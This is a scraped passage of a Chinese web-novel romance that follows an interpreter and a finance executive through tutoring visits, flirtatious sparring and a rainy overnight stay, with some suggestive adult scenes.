反正Alfred自己也说了,不听话就要被赶走。 “条件呢?”江知羽歪过脑袋,戒备地开口,“你好像没那么善良,不要求收到回报。” 一句话把关系定死在双方交换上,他不愿意因而扯出麻烦的感情是非。 尽管戚述更像狡猾的冷血动物,看自己的眼神和看桌上那瓶芍药没什么区别,可有些事情,还是说明白点最好。 戚述说:“既然之后大概率没机会偶遇,那能不能请你上门来做家教?” 听到他这么讲,江知羽惊呆了,这是什么感天动地的好哥哥? 大半夜在外面辛辛苦苦,只为了弟弟第二天能交上课外作业。 反正自己最近不太忙,江知羽谨慎地问:“总共要几天?” “我弟来我这儿住五天。”戚述道。 他没有狮子大开口,颇为合理地商量:“关于你要来多少趟,看你等下弄几次。” 话语里不带一个脏字,江知羽却难以忍耐,认为这个人满口污言秽语。 现在骂过去又要吵个没完没了,他随即冷冷地轻笑了声。 他的表情保持着高傲,与戚述对视时,眼底含着审视和玩弄的意味。 半晌后,江知羽轻佻应声:“那你好好表现。” 他不肯处在弱势:“要是努力一点,说不定我天天来。” 洗手池台面洁白干净,起初整齐放着洗漱用品,后来两人的手机叠在一处,如今统统被扫到角落。 江知羽被轻而易举地抱到台面上,家具定制时尺寸做大,原意是想日常能够多摆点东西方便拿取,这时屋主本人被放了上去。 这块角落对身高接近一米八的男人来说,饶是江知羽再如何清瘦,都显得有点不够,他不得不屈起长腿弯着膝盖。 身后就是一大面玻璃,此时蒙了层白雾,他衣衫本就被打湿得半透,这时无意靠上去,后背的触感冰凉冷硬,使得他颤栗起来。 几乎是条件反射,江知羽敏感地想往前缩一缩。 然而他的身前就是戚述,高高大大地挡在那里,他这种躲闪的动作仿佛是主动往人怀里钻。 江知羽意识到这点,紧接着就难为情地僵住了,宁愿和玻璃擦来擦去。 当他试图挪回去,戚述却抬起手,搭在他的腰侧。 这不是对方该碰的地方,江知羽有些愣,紧接着就要警告性地瞪他。 可惜他这个时候三心二意,没来得及迅速示威。 而那只手并没有占什么便宜,甚至没完全贴紧,纯粹做了个制止性的动作,再把江知羽往桌沿这边拉了回去。 与此同时,戚述后退了半步,江知羽倒是不用委委屈屈地挤在玻璃旁。 江知羽想拿住点什么,修剪圆润的指尖挠过光滑桌面,总觉得缺少了一些东西,让自己能够支撑,抑或借此发泄。 再回过神来的时候,他已经攥紧了戚述的衣服。 这件衣服确实没有被自己弄脏,也没有被水花溅到,但无法掩饰今夜的混乱和越界。 上好的布料皱成团,根本不能直视,一看就知道被人用力捏过也揉过。 被薄茧摩挲着缓慢蹭过,江知羽咬住牙齿,视野朦胧之际,忍不住仰起脖颈。 但他没有去瞧戚述,宁可偏过脑袋抵着墙壁,始终不肯发出半点声音。 从这块台面下来的时候,江知羽也没让人抱,软着腿慢吞吞赤脚站到地上。 戚述在旁边洗手,这次他趁机询问:“需不需要我出去一会儿?” 看他变得轻快又疏离,戚述道:“不用,我是付出劳动,你这样搞得我在享受。那谁该拿报酬?” 江知羽:? 虽然不太服气,但听着好有道理啊? 他继而打量戚述的形象:“待会儿帮你拿一件新衣服?” “刚才哪个人说不能借来着。”戚述翻旧账。 江知羽道:“我有一件没穿过,你这个子可能正好。到底要不要?” 戚述冷淡答:“要。” 江知羽舒服了,回敬道:“某个人刚才嘴硬个什么劲呢?” 戚述没避开这么尖锐的问题,从善如流地点头附和他。 “想想确实不行,万一被我弟盘问怎么会这样,我难道要说他的江老师太爱抓人?” 江知羽:“……” 自己就不该和这个人讲话的! 没等戚述冲干净手,他率先迈步走出卫生间,翻找出衣柜里有一件大码男装。 白色T恤,订的时候没看具体尺码表,套在自己身上太宽松。 在衣柜里存了太久,他刻意熨烫了下,喷上手边常用的香水,生怕积压多时布料有了别样味道。 之后他把衣服丢给戚述,让人赶紧回家奶孩子。 戚述说:“能给一瓶矿泉水么?” 江知羽忍无可忍:“我的花不要你管,谁是这套房子的主人啊?我让它死它开不到明天!” 戚述有点无奈:“我渴了,主人的冰箱有可乐或者果汁也可以。” 合着人家没打算找茬,江知羽误会一场,气焰瞬间灭了下去。 他走去冰箱的路上同手同脚,不知道是余韵没有消退,还是被戚述那句“主人”扰乱了步伐。 戚述喝着矿泉水,问:“明天你几点来?” 江知羽摆谱:“看我加班情况,最早七点最迟九点,让你弟在家等着就行。” “三天。”戚述说,“不用连续来,明天可以放个假。” 江知羽道:“为什么?” 戚述扫了他一眼:“三次有点多了,是以前不怎么弄还是今晚太兴奋?我以为你需要休息。” 江知羽深吸气,打开大门:“你再不走小心我赖账。” 戚述给聂铭森回过消息,说他突然有点公事,让学生狗自行早睡早起。 回到怡枫宫,聂铭森却没休息,坐在沙发上抱住胳膊,一副要把戚述严肃提审的样子。 戚述道:“你明天不是要上课?” 聂铭森用问题击败问题:“你在做哪门子工作,为什么出门连衣服都变色了?” 戚述面不改色地撒谎:“我办公室有休息室,里面装了衣柜,我出汗了就想换一件。” 聂铭森没话讲,他哥嘴巴太严实,以他的道行根本撬不开。 之后,戚述说起江老师会来课外辅导,确保聂铭森不会在这期间出差错。 他再敲打不成器的弟弟,这几天别折腾幺蛾子,不管是作业还是上课都要保质保量,安安分分等父母来接回家。 聂铭森本以为自己来这儿属于度假,没想到比家里管得更严格。 他尖叫:“你对周围的掌控欲不能这么强,自由民主这四个字你没学过?怪不得你现在都没有讨到老婆!” 戚述没有被戳伤:“抱歉,我的时间不太允许我考虑这种无聊的事,明天我也还要上班,现在请你自由地选一间卧室躺床上。” 聂铭森:“……” 草,这个光棍防御力那么强?! 戚述回到主卧,手机发来微信消息,是江知羽询问他有没有到家。 戚述还没打字答复,江知羽补了一句:[你弟会不会发现啊?] 看到这行字,戚述觉得滑稽:[发现什么?成年人有私事很正常。] 江知羽支支吾吾地不讲话了,戚述得寸进尺:[还是说这是偷情值得我心虚?] 江知羽又是一阵沉默,然后妄图捂嘴:[你不要乱讲话。] 两人没有闲聊,江知羽独自烦恼,为他的立场不够坚定,没有拒绝对方的诱惑。 下次可不能这样了,江知羽心想,嫌自己没有出息。 以往因为家庭环境古板,他没有细想过自己的性取向,后来鼓起勇气坦白,得到了很负面的回应。 这一度令江知羽生气,由此离开长辈庇护,只身回国工作。 几年来过得很辛苦,他没有琢磨过感情上的事,阴差阳错与Alfred荒唐了一夜,江知羽才直面自己对男人真的有欲望。 今天又纠缠了一回,成年人理当有生理需求,但这样不清不楚总有隐患…… 胡思乱想着,他转头睡得很香。 第二天清清爽爽地去开例会,周柯问他为什么满脸春风得意,是不是有了浪漫邂逅。 “没啊。”江知羽否认。 他继而跟人开玩笑:“拿下松晟那么大的单子,我 14.露馅 《我们可没有谈恋爱!》全本免费阅读 刚开完高管例会,隔天就是部门月会,之前江知羽被派去纽约,这些一直等着没有开。 他所在的部门主要服务大客户,成员的背景优秀且丰富,以满足各类专业需求,江知羽是这里的二把手。 他除了做口译方向的重点单,还辅助周柯承担一部分管理职能。 听大家汇报完最近行程,江知羽稍作梳理,调整了几个项目的规划。 他再道:“上季度我们做过五项医疗索赔,这块主题比较特殊,我想组织一次分享会。” 身旁的专家问:“时间排得过来吗?” 江知羽前阵子连轴转,回来后没有休整多久,工作强度和节奏已然和平时无异。 他转着指尖的犀飞利钢笔:“没问题,我这个月不出差,整理总结我来做。” 同事说:“咱们的工作真是多种多样,今天帮患者跨洋投诉医生,明天会不会陪原告站上法庭啊?” “你还别说,我真做过。”有人接茬,“那次我加班了整整两个月恶补海洋法系。” 江知羽笑了下,简洁收尾:“大家各自干活吧,分享会初步定在下周,想发言找我报名。” 他虽然人在京市没有出去,但没有歇下来过,上午这么打过照面,饭点就离开了写字大楼。 中午与几位贵宾看巡展,下午给一场股东大会做中法同传,这种工作会往往还要负责晚宴招待,江知羽陪甲方坐在主桌。 这家公司做制造业生意,交好的都是同行,江知羽对生产类的细节不算熟悉,分分秒秒都专注在各自的发言上。 有位英国人性格外放,与甲方有很多话聊,他们几乎是一刻没停,江知羽夹在中间也没吃上几口饭。 桌边有人问他要不要加碗主食,江知羽笑着推拒了。 他言行举止风度考究,翻译员在正式场合上往往代表了甲方颜面,自己在场如何做事,对洽谈的氛围有一定影响。 这份工作看似是辅助工具,互相传话就可以,实际做到他这种级别,接触的事遇到的人都不简单。 一句意思要如何表达可以有很多种方法,整个会谈的节奏靠他来实时把控,他还需要替甲方尽力争取谈话目标。 今天这位甲方急着拉资金,态度谦卑热情,他也聚焦于复杂的客人们,怎么可以低头捧碗吃饭? 江知羽虽然有少爷病,但正事上从不娇气,全程都没怎么动筷子。 “今天很累了吧?”甲方注意到他的辛苦,客气地问。 “要不要我让后厨做点心,你带回去当夜宵?很快的用不上多少时间。” 这时饭局已经结束,两人站在酒店前门刚刚送完客。 江知羽温和道:“我来之前垫过肚子,这会儿还没觉得饿。” 之前绷着一根弦,半刻也没敢怠慢,这种状态下其实对饿与不饿毫无所觉。 这时轻松下来,他还没什么食欲,满脑子都是刚才的种种交锋。 晚上七点半,有商务公车送江知羽回去,江知羽坐在后座上,习惯性地报出了自家公寓。 司机一脚油门踩下去,江知羽又后知后觉,连忙改了地址去怡枫上邸。 “是不是去女朋友家啊?”司机健谈地问。 江知羽摇摇头,调笑:“一时犯了糊涂,现在有孽债要去还。” 听说是孽债,联系到他的语气遮遮掩掩,司机灵感迸发:“噢,人家被搞怀孕啦?” 江知羽:“。” 他张了张嘴,再想到那张英俊冷淡的脸,顿感荒谬和滑稽。 他忽地决定多解释几句:“我去找的是个男的……当然,这也不是过去谈恋爱,他天生擅长诈骗,我这几天被临时套牢了而已。” “各个街道不是在搞安全教育么?你没听到过宣传啊,怎么还能被骗着呢?”司机疑惑。 江知羽一言难尽,总不能说自己被怎样服务过。 他闷闷地说:“我做人比较单纯,不太懂,社会上凶险太多了。” 司机给这位单纯的高级翻译师雪上加霜,路途上非常通畅,没到半小时就把人送到指定地点。 怡枫上邸在本市属于有名的豪宅,门禁非常严格,江知羽单独进去需要做访客登记。 他在保安亭填写信息,正巧聂铭森在外面打篮球,回来的路上一眼就瞧见了这抹人影。 “江老师!”聂铭森活蹦乱跳,远远地就朝他招手。 他继而抱着篮球跑过来,朝保安道:“这位是我哥哥的好朋友,就不用这么登记了吧?” 这位初三生住过来没几天,总是在门口玩,保安已经对他很眼熟。 江知羽被聂铭森带进门,随后聂铭森关心他上班累不累,待会儿来他家坐一坐也行。 之前被补上了不懂的知识点,聂铭森这两天都有认真听课,不用再费心教概念,让江知羽可以随便活动。 “你哥不在家?”江知羽说。 聂铭森道:“陪酒去了吧,我感觉到处应酬才是他的主职,有些局根本推不掉。” 江知羽噎了下,好奇:“你家同意他这么做?” 聂铭森道:“我妈妈觉得不好,但我哥是个主意很大的人,认定了一件事情就不会改,哎,我们说不上话,反正他很少做错决定。” “啊,我说的陪酒可不是那种,不会被扫黄大队带走。”他连忙补充。 “以他的脾气,做不来弯腰的事,去饭局都是正经谈事情,哪怕要讨好谁也轮不上他去谄媚。” 江知羽说:“噢,你哥真没给别人拍过马屁?” “偷偷拍了我也不知道啊,我们一年下来没能见几次面。”聂铭森道。 他再压低声音,说:“前天他送出门你,过了好久才回家,连衣服都换了一套!我还没问出来是怎么回事呢……” 江知羽:“。” 他心虚地顿了顿,胡乱地找借口:“可能是去加班了。” “卧槽,你跟他有点默契啊?他当时也是一模一样的话术,可我特意搜过导航,这点时间去公司加班不太够。” 聂铭森碎碎念着,试探:“他会不会在外面给我找嫂子了?” 江知羽演技浮夸,半真半假地说:“这样吗?好难想象啊,真不知道他会喜欢什么样的人。” 他们走进家门,聂铭森带江知羽去了小书房。 隔壁大房间是戚述的领地,里面存有一些机密的文件资料,不方便领着外人进去。 包括聂铭森也没有随便踏入过,虽然是有血缘关系的家人,但说到底没那么亲密。 江知羽落座,让人有问题可以直接说,随后在旁边自顾自看文献。 国际初中的学习压力没那么重,聂铭森今天有自修课,提前解决了一些,现在没花四十分钟就简单搞定。 江知羽检查了下,就在这个时候,外边传来 15.把柄 《我们可没有谈恋爱!》全本免费阅读 全棉质地的薄短袖,攥着触感很柔软。 “蒲音”的Logo清清楚楚印在衣角,令江知羽无法忽视,这的确就是自己的衣服。 它怎么会出现在这里呢? 眼前画面超出了预料,江知羽难以理解,一瞬间脑袋空空。 几个小时前,江知羽尚且在谈判桌上游刃有余,此时换到安静的卧室,他看着这件衣服,笨拙地不懂该怎么办。 丢掉,衬得自己很慌张,该慌的是自己吗? 不丢,难道一直拿着?可他觉得烫手啊? 江知羽不可思议,这件T恤他一次都没穿过,借出去的时候版型还很挺括。 短短两天之内,已经皱巴巴的没法看了。 天知道被用来做过什么事,中间被糟蹋多少次,才会搞成这种样子?? 江知羽扫视完罪证,稍微冷静了一些,转头就气势汹汹准备审判。 “怎么会卷在你被子里,拿我衣服干什么了?你说。”他道,还催促,“不吭声就是在编瞎话。” 为了让戚述直面错误,他一边揭穿,一边双手抖开衣服,示意让人看看自己做了什么事情。 戚述没想到江知羽会直接钻自己卧室里,而且目标如此明确,一捞就扯出了这件东西。 他看了看江知羽,又沉默地移开眼,望向满是褶皱的衣服。 随后,戚述开口:“这几天我被聂铭森传染了,脱了衣服乱丢在床上。” 江知羽:? 这锅都能硬甩? 收到的回答感觉有问题,他不禁陷入了沉思,戚述抓着这个间隙继续解释。 “你以为是什么呢?”戚述轻描淡写,“你说来听听,觉得我能做什么?” 被接连追问,江知羽想骂他厚颜无耻,又怕自作多情真的冤枉了人家,抿紧嘴角不肯讲话。 难道是自己想象力太丰富了吗?对方的心思没有那么龌龊,压根联系不到那档子事? 看戚述目光平静深邃,江知羽有些动摇了。 但下一秒,戚述原形毕露,恶劣地自问自答。 “噢,你以为我用你的衣服解决安抚依赖?”他压低声音,“还是觉得我做得更脏?” 分明自己在兴师问罪,却被步步紧逼,江知羽要不是强撑镇定,几乎就要缩成一团。 他发脾气:“谁知道你有没有底线啊?我不管,反正证据已经在我手上了!” 戚述没承认:“这算哪门子证据,上面有痕迹说我拿着做什么了吗?” 江知羽不甘示弱,开始放狠话:“你最好别被我抓到把柄。” 说是这么说,他脸颊发热,没有仔细打量那块布料,担心上面真有什么可疑的湿痕。 “你随便看,没洗过就是原始现场。”戚述淡淡回应。 江知羽不轻易放过他,耍赖:“你家我又没有安监控,你偷偷洗过我也看不到。” 戚述提供思路:“上面全是你的香水味道,真洗过的话早没了,不信你可以检查。” 江知羽没听他的话,态度极其不配合。 “这是从你被窝里拿出来的东西,捂了多久我可不敢想,让我怎么闻?” 睡都睡过一次了,两人甚至从同个被窝出来过,这时候搞得和路过的正义市民一样。 辩论来到了死胡同,戚述很轻地笑了声。 看着江知羽,他说:“用我的手那么兴奋,换成床就呼吸困难了?Fannar,你喝醉的时候抱过我外套像筑巢。” 江知羽嘴硬,占据道德制高点:“你造谣,变态,有本事拿录像。” 高级定制的衣服不能正常清洗,戚述道:“西装外套我没扔,原封不动挂在这里,你猜上面是葡萄酒味还是啤酒味?” 江知羽睁圆了桃花眼,不料这个人会留一手。 他捏着T恤不再讲话了,只是牢牢地盯着戚述,如果这人真的从柜子里拿外套对峙…… 他难以设想,觉得好丢脸。 到这步,戚述忽地一笑:“骗你的,早就在垃圾桶了。” 江知羽为此松了口气,继而撇撇嘴,把衣服塞进了戚述怀里,作势就要离开卧室。 他迈出这扇门,忽然抱着胳膊折回来,察觉到有哪里不太对,抢过了这件经历成谜的短袖。 “不能给你。”江知羽机灵地防备。 东西又交到对方这里,难道任人背地里揉弄? 带回家也不明白该如何处置,他缜密地想着,将其扔进了旁边的垃圾桶里。 随着一声闷响,戚述垂下眼,看衣服被浪费地舍弃。 “我想去看看阳台。”江知羽指挥道。 戚述略微停顿,同样想打发过去。 “不太方便吧。”他说。 江知羽诧异:“这也私密,那也私密,请问你没法见光的地方是不是有点多了呢?” 戚述有理有据:“从我被子里拿出来的东西你都没法沾,阳台上晒着贴身衣物,你一看岂不是要晕过去?” 江知羽扯起嘴角:“你放心,你碰到我我也没反胃,排斥效果不是很严重。” 听到他这么保证,戚述无所谓地往前走。 他们并肩走去阳台,这套户型虽然是洋房,但实际面积很大,装修费了点力气,看过去颇有设计感。 能这么用心,肯定是长住的房子,许多地方点缀了价值不菲的艺术品,古董也有好几件。 这些藏品来自各个拍卖会,一起摆在这里却丝毫不突兀,说明屋主或房东的审美很优秀。 不得不说,房子风格恰巧符合江知羽的喜好。 要不是和这个人关系糟糕,江知羽还想取取经,为自己以后的装修做参考。 他们先去了露天花园,这一看就有专业的园林师长期维护,人造景观被打理得清秀雅致。 再之后,戚述绕去阳台,江知羽进去就想巡视一遍晾衣架。 见到他抬起头,戚述别有深意地笑了声,江知羽凶巴巴地问:“你想怎么啊?” 戚述被凶了以后难得不讲话,江知羽还以为是这人收起本性变得老实。 被这么打断了一下,他津津有味地继续巡视,再猝不及防地发现…… 自己醉酒时团住的那件西装…… 真的就挂在这里!!! 江知羽不由地僵住了,在心里苦涩地说,为什么非要犯这个冲? 戚述也没想害他感到难堪,刚才本就主动退让了一步,自己无意揪着这点。 这西装在最开始就打算处理掉,因为确确实实一股葡萄酒味,香醇浓厚得极具存在感。 但助理收拾残局的时候,认为这衣服尤其昂贵,简单废弃未免太可惜。 于是助理自说自话地带了回来,挂在通风处散去酒味,戚述对此也没有多管。 回忆到这里,戚述转动眼眸,瞥向身旁的青年。 江知羽此时浑身难受,恨不得立即找个缝隙躲进去。 他硬着头皮参观完阳台,死活装作没看见外套,而就在两人离开之际,戚述把它从衣架取了下来。 这是干嘛? 好吧,终于要和自己计较了? 用不着他去猜,这个人是小心眼!被占了便宜肯定会反咬回来! 思及此,江知羽别开头,眼神胡乱飘着,等待对方做出下一步攻势。 就在他用手指绞弄衣摆的时候,身后发出闷响,江知羽循声望去,是戚述把西装和白T丢在了一起。 江知羽从而愣了愣,眨眨眼望向戚述。 “你想怎么呢?”戚述模仿他讲话,语气却不冷硬,十足十的调侃。 江知羽就知道他很讨厌:“……” 两人对视着,在江知羽 16.猎手 《我们可没有谈恋爱!》全本免费阅读 江知羽见戚述这样澄清,自觉有些过于戒备,埋下脑袋不吱声。 我讲了些什么乱七八糟的提议?江知羽很懊悔。 上回彼此在浴室,他被抱在洁白台面上,也唯有他胸膛剧烈起伏。 对方的反应很克制,直到把自己松开,全程没有多余的僭越,连眼神都挑不出冒犯之处。 或许Alfred并没有所求,纯粹是在纵容自己。 江知羽这么想着,因为双方没有很对等,心里徒增几分沮丧。 可这样不是自己比较赚吗?江知羽琢磨着,步伐变得轻快起来。 之后被送到公寓门口,戚述这次没有跟着上去,江知羽与他说了“明天见”。 不过江知羽没有很快去乘电梯,看着戚述挺拔的背影,在心里解气骂了句逼王。 回到家里,桌上的芍药彻底蔫了,江知羽把这束花摘走,桌上忽地空荡起来。 为什么好像还是有花香味? 江知羽眨眨眼,继而好奇地偏过头。 男人摘的那束茉莉不知何时插在了他口袋里。 · 接下来的两天,江知羽打点完自己的事情,转而去替同事的活。 周柯把需求发在邮箱,他看过一遍,又与萧徽讨论细节。 “茂丹是一家做轮胎的公司,请我们负责过视频会议和商业接待,今年打算去纳斯达克敲钟了,又希望我们沟通材料。” 萧徽这么说着,问:“做上市很繁琐,会不会影响你正常节奏?” 松晟的投资者大会定在七月召开,刚拟好策划案和班底,目前不需要江知羽太操心。 其余的工作驾轻就熟,每样都能排开,这点救急工作不用他主导,更犯不上为此乱了阵脚。 江知羽回答:“阑尾炎住院三天,徐哥说他下周能回来,我不是长期接手。” 萧徽道:“那就好,你们记得对接仔细。” 江知羽在公司不是全然没有争议,有的人看他风头太盛心有不服,有的人畏他左右逢源太过玲珑。 但没人会认为他能力差劲,萧徽出了名的爱摆谱,因为知道江知羽牢靠,故没有再多嘱咐。 关于境外上市,律所和券商是主力,只是茂丹的老板在业内沉浮,对他们没有全盘依赖。 他无奈自己看不懂繁复的英文材料,招个专职翻译也差点意思,于是砸钱让蒲音协助他把关。 这种事繁琐漫长,好在不是太耗人力,四五个人的团队足以兼顾。 过程涉及商业机密,禁止携带电子设备,江知羽把录音笔和平板留在办公室,只拿了速记本和钢笔。 汽车行业在江知羽眼里很陌生,他熬夜构建单词表,补习了一些讲解视频,碰上专业知识勉强能够应付。 券商继而聊起改制方案和招股筹资,这方面江知羽耳熟了,不止耐心核对信息,附赠给老板划重点。 老板和他的父亲年纪相仿,同样中年发迹事业有成,为人处世比江父圆滑许多。 听着江知羽的讲解,老板偶尔碰上难以理解的地方,便笑眯眯地表示抱歉。 “我只会做轮胎,搞不懂这个询价机制,有劳你能不能再讲讲?” 江知羽又解释了一遍,转头递上名片:“您有不懂的随时可以再联系。” 这种类型的翻译是每三小时一次接替,江知羽主场在下午,晚上走得比较早。 茂丹有位经理在划水,瞧见他收拾东西要离开,找了理由也准备溜号。 “江总监准备回哪里?今天晚上有雨,要不要我送你?”经理很周到地寒暄。 “怡枫上邸。”江知羽滴水不漏,没肯透露真实地址,拿别人的住处来搪塞。 他缓缓弯起眼:“我约好车了,有劳您费心。” 出租车稳稳来到目的地,江知羽熟门熟路地找到了某个楼幢。 反复确认过门牌上的数字,他犹豫地徘徊了一会儿,似乎对自己的教师生涯产生了动摇。 磨磨蹭蹭五分钟之后,巡逻的保安都想来看看是什么情况,哪怕是小夫妻吵架也不能赶人到楼下罚站吧? 江知羽察觉保安在朝这边张望,顿时有些局促,赶在人家开口关心之前,就自己硬着头皮走进去了。 待会儿看到Alfred要怎么开口? 光是冒出这个问题,江知羽就很苦恼,自己竟主动提过可以用手帮忙…… 他感觉这阵子被对方严重污染了,继而抗拒地晃了晃脑袋。 江知羽浑身犯别扭,杵外面纠结片刻,面向戚述开始装病。 他别有深意地铺垫:[我今天腱鞘炎,手指疼,就不敲门了,你帮我开一下。] 紧接着,眼前的大门被打开,戚述穿着一身正装,回了家还没来得及换掉。 “需要药膏么?”他看到了江知羽的信息。 江知羽支支吾吾:“不严重,就是这几天没法动,切忌劳累而已。” 戚述盯着他,忽地轻轻笑了声,紧接着与之嘘寒问暖。 “江老师这么辛苦,两条腿还好吧?” 闻言,江知羽登时内心响起警报。 怎么?看自己手废了就想用腿?他极其恶意地揣测着。 他嘀咕:“我不进这个门了,回家系上八百条腰带再过来。” 他还提醒:“你少耍花招,我存了扫黄办的举报电话,你一当禽兽就做掉你。” 戚述听他恐吓,淡淡地说:“我的意思是你腿也疼的话,等下开车送你回去。” “哦,那不疼。”江知羽不由地放松戒备。 聂铭森在书房写作业,发现江知羽来了,礼貌地主动问候。 “昨天你忙着没来,我还想今天最好也别再麻烦你。”他懂事地说,“反正周末我就回家了。” 聂铭森在兄长这里很老实,没趁机和人闲聊太多,认认真真地做习题。 过了会,江知羽放下作业本,在他旁边安静地看手机,两人互相没有打扰。 陶奕白过来八卦好友:[你和那个野男人发展得怎么样?] 收到这条消息的时候,江知羽在看新闻报道。 页面跳转去微信,他险些没有反应过来,自己哪有接触小白脸? 紧接着,他意识到陶奕白讲的是谁。 这会儿就在人家的地盘,江知羽却倍感惊悚,言辞凿凿地撇清关系。 他义正辞严:[我没想过和他再做什么事。] 陶奕白诧异:[所以他水平下滑活很差?为什么让你精神萎靡了?] 江知羽敷衍地打字说“超烂”,可在点击发送前,莫名地记起了一些混乱场景。 架不住突如其来的心虚,江知羽删除了谣言。 他结合“野男人”前不久的自述,最终做出了中肯的回答。 [谁知道他差不差,我又没有参照物……唯一能确定的是他没性瘾。] 陶奕白一头雾水:[你突然当起了医生,给人下这种诊断?敢问你怎么检查出来的?] 被连环发问,江知羽捧着手机噎住。 当时对方开口说明,江知羽其实手足无措,听的不是非常清楚。 话说性冲动障碍症的全名叫什么来着? 他思索着,印象里好像差不多,自己应该没有弄错诊断结果。 不想和朋友分享人家的身体状况,江知羽逃避地说现在很忙,以此匆匆结束话题。 之后他干脆不再看手机,拿出笔记本电脑,在书房里敲键盘备资料。 江知羽做正事的时候非常专注,聂铭森做完功课,独自离开了书房。 初中生径自回卧室洗漱睡觉,到大概九点钟,戚述在书房门前停步。 “外面下雨了,我送你回去?”戚述问。 江知羽没转头:“下属有东西要我审核,她那儿很着急,能等一下吗?” 他用手撑着脑袋,语气有些苦恼,听上去没了往日的轻快利落,慢吞吞的尾调多了几分软意。 话音落下,戚述移开眼,没有再打断他,而江知羽作为称职领导,继续替部门劳心劳力。 等到他解决完麻烦,再看时间快要十二点,江知羽连忙走出书房,戚述坐在客厅翻阅杂志。 不过,戚述换上了清爽的居家服,俨然洗过澡准备休息。 江知羽理亏:“刚才没顾上看时间,我打车回去就可以。” 临近半夜,外面倾盆暴雨,有没有营运车辆另说,哪怕打伞去坐车估计都会被淋湿。 戚述说:“我收拾了另一间卧室,你如果不认床,今天可以在这里过夜。” 江知羽不太自在,试图推拒:“是有点……” 他还没有讲完,戚述幽幽地分析。 “拿我胳膊当枕头,也能睡得昏天黑地,我觉得你适应能力八成不错。” 听到对方这么说,江知羽本来还想着客气点,这下统统抛到脑后,没压抑反驳冲动。 “被你折腾到天亮,我那是昏迷了好吗?”他辩论,“你以为我这么不挑?” 劈头砸来这么一句,戚述不由地愣了下,然后江知羽乘胜追击。 他道:“我在家的床垫、棉被和枕头都要最舒服的,底下哪怕藏一颗豌豆我都闭不了眼。” “好吧,Fannar公主。”戚述没别的话可说。 他理性地说:“客卧我以为不会住人 第 17 章 取悦 《我们可没有谈恋爱!》全本免费阅读 墨绿色落地帘牢牢隔绝里外光景,夏季的骤雨席卷城市,随着晚风敲打过高楼窗沿。 静谧的卧室里,江知羽站着,戚述坐着,一高一低如被俯首,本该让前者获得掌控感。 可江知羽并不能为此松懈。 只要眼前这个人望向他,江知羽就感到自己的领域被侵犯。 这是一种非常无厘头的直觉,毕竟如果要他列出证据,他甚至没有办法举例。 双方没有任何肢体接触,此刻已然连言语都消失,暖融融的昏黄壁灯下,衬得那双眼睛更加锐利深邃。 江知羽悄悄打量过,也有意躲避过。 这时他的视线正面触碰,刚轻轻落过去,就在半空被缠绕成一团。 江知羽垂下眼睫,肆无忌惮地俯视着戚述,理智要他立即退到安全线外,浑身的血液却暗中沸腾。 不够近,还是离得不够近。 害得江知羽难以探究清楚,对方的眼底里究竟藏着什么东西,为什么自己不想挪开目光? 远处风雨潇潇,近处气息暧昧,江知羽把手上的杂志扔到床边,抱着胳膊后倾靠在墙壁前。 这个动作让他显得有些慵懒,雪白的脸颊被微光映亮半边。 “你喝完酒惹我在酒店掉一晚上眼泪,我还没决定原谅。江知羽随心所欲地说。 如果自己次次被拐跑,那算什么样子?他不愿意这样受人摆布。 江知羽挑起刺来:“在浴室不经过我同意,就把我抱在洗手台上,也没有跟你算过账。 戚述瞧着他,看似非常顺从,话语却不驯服。 “我以为你可能站不稳。他解释浴室举动,“当时你抓着我的衣服,似乎不知道该怎么办。 江知羽磨着牙,恐吓:“其实我有力气,完全可以找机会咬你一口。 戚述扯了下嘴角,颇为好奇地问:“你当自己没咬过吗? 江知羽语塞,貌似是有这么一回事,而且印在了对方的颈侧。 如果他这样诚实回答,未免落入下风,于是江知羽装作一点也不记得。 他从墙边直起身,侧影纤细笔挺,嘴上则任性地转移话题。 “口口声声让我允许你,你是不是该学会怎样讨好我?他检视。 气氛如夜色浓稠,戚述饶有兴致地笑了声。 他神色往往淡漠疏离,这时似乎终于找到了有意思的事情,表情敛着几分新鲜趣味。 “要我怎么做,你会被取悦?他请教。 “ 不知道。”江知羽并不肯乖乖配合,示意他自觉。 “关于这个问题,你不该比我弄得更清楚?” 皮肤太细,触觉又敏感,指尖随便戳到哪里都要颤。 流泪的时候红着眼眶,不仔细看都发现不了他的状态,连抽泣声音都下意识地压低,搞得好像受到委屈了一样。 一桩桩细数过来,戚述心知肚明,江知羽好像总是矜持,哪怕偶尔袒露脆弱,也立即掩饰起来。 他从没真正地容许过别人侵略,不准外界摸索他最真实最柔软的那面。 这种样子非常能激发原始的征服欲,如何才能让江知羽交付所有,无一处不赤i裸? 戚述没有深想,适可而止地打住了念头。 聪明人之间心有默契,什么可以冲撞,什么不该窥探,双方都有明确的自觉。 他们或许可以分享体温,但不能交换秘密,这段关系界限朦胧又难以触犯。 戚述看破不说破,让江知羽保留这份余地。 他又挑衅地试图观赏更多风情:“是我该好好去学,那你以后别把脸埋在枕头里,抬都不肯抬起来。” “我心里有数,不会让自己憋死。”江知羽奇怪他蛮讲究人身安全。 “哭和喘全被闷住了,我怎么分辨你满足还是不够满足?”戚述道貌岸然,“凑过来听还要被你推开。” 江知羽没想到是这个理由,不禁怔住半秒,随即捏紧了睡衣衣摆。 “我就是喜欢这样。”他嘴硬瞎说,“玩的就是窒息你懂吗?这是一种爱好。” 紧接着,他发现眼前画面有点莫名其妙。 主卧今晚按道理属于自己,江知羽拘束地杵在床对面,戚述却理直气壮占着床头。 “现在这是我的床,你能不能起来?”江知羽抱怨,“我还怎么睡觉啊?” 戚述提醒:“是因为你大半夜在外游荡,所以我才会出现在这里。” 江知羽差点忘了这茬,继而问:“你这里有没有褪黑素之类的呢?” 戚述家里常备着这类东西,做金融行业精神压力极大,尤其他背负着整一块业务的责任。 没时间让他辗转反侧,就需要强制性地调整状态。 但此刻面对江知羽,他脸色毫无破绽:“没,我不吃这些。” 江知羽意兴阑珊,想说没有就算了,再听到戚述问:“还不困?” 对方的语气有些危险,江知羽很想假惺惺地打个哈欠,可眼神飘忽着,根本装不出来。 “要不要 坐过来?”戚述微微歪过头。 “反正你说床单上有我味道,睡衣上也有我味道,不多我这位本人了吧?” 真那么排斥这间房子,江知羽早应该甩门离开了,纵使外面瓢泼大雨,大不了蹚着水回去。 他不是瞻前顾后的性格,与之恰恰相反,他工作上虽然比较谨慎,但私下做事极其随性和干脆。 放在寻常的场合,他能因此交到许多朋友,没有人不想和出挑又利落的人结伴。 换到当下,遇到的不是好人,戚述心机深沉,江知羽就很容易上钩。 如今江知羽也明白这点,即便戚述表现平淡,他都默认这家伙没安好心。 不过再坏能坏到哪里去呢? 